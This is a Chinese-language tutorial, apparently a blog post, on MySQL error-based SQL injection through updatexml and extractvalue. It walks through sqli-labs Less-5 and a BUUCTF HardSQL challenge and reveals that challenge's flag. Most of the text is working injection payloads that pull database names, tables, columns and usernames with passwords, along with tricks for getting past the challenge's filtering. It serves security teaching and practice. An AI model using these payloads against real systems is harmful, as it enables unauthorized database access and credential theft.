1. 程式人生 > 其它 >sql 報錯注入

sql 報錯注入

技術標籤:web安全

sql報錯注入

​ 報錯注入就是利用了資料庫的某些機制,人為地製造錯誤條件,使得查詢結果能夠出現在錯誤資訊中。

xpath語法錯誤(侷限性)

extractvalue負責在xml文件中按照xpath語法查詢節點內容,updatexml則負責修改查詢到的內容:

updatexml

函式原型:updatexml(xml_document,xpath_string,new_value)
正常語法:updatexml(xml_document,xpath_string,new_value)
第一個引數:xml_document是string格式,為xml文件物件的名稱 第二個引數:xpath_string是xpath格式的字串

第三個引數:new_value是string格式,替換查詢到的負荷條件的資料 作用:改變文件中符合條件的節點的值

第二個引數是要求符合xpath語法的字串,如果不滿足要求,則會報錯,並且將查詢結果放在報錯資訊裡,因此可以利用。

例題:sqli-labs

Less-5?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+       爆庫

1608557238748

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+       爆表

1608557368922

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+                                        爆列

1608557617454

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+                                                      爆資料                             

1608557862959

PS:updatexml的最大長度是32位的,所以有所侷限,如果長度超過了32位就不會被顯示出來。

總結:

爆資料庫名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))

爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

爆資料:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

extractvalue函式

函式原型:extractvalue(xml_document,Xpath_string)
正常語法:extractvalue(xml_document,Xpath_string);
第一個引數:xml_document是string格式,為xml文件物件的名稱
第二個引數:Xpath_string是xpath格式的字串
作用:從目標xml中返回包含所查詢值的字串

查資料庫名:id='and(select extractvalue(1,concat(0x7e,(select database()))))

爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

爆欄位名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

爆資料:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

BUUCTF-[極客大挑戰 2019]HardSQL(報錯注入)

1、用bp fuzz後,union|order by|等號|空格|substr等被過濾,空格沒有被過濾,大致有個印象

2、爆當前的資料庫名:
空格繞過:用括號()包起來就行

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

->庫名:geek
3、爆表名:
等號繞過:用like替換

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

->表名:H4rDsq1
4、爆欄位名:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

->欄位:id,username,password
5、

'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#

flag{9f09946d-4c83-40f5-982
沒出全
這時候就要想到mysql的一些函式,substr,left,right
注意:substr被過濾了

admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

結果:XPATH syntax error: ‘3-40f5-9828-9593ee5f3f4c}

拼接後結果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}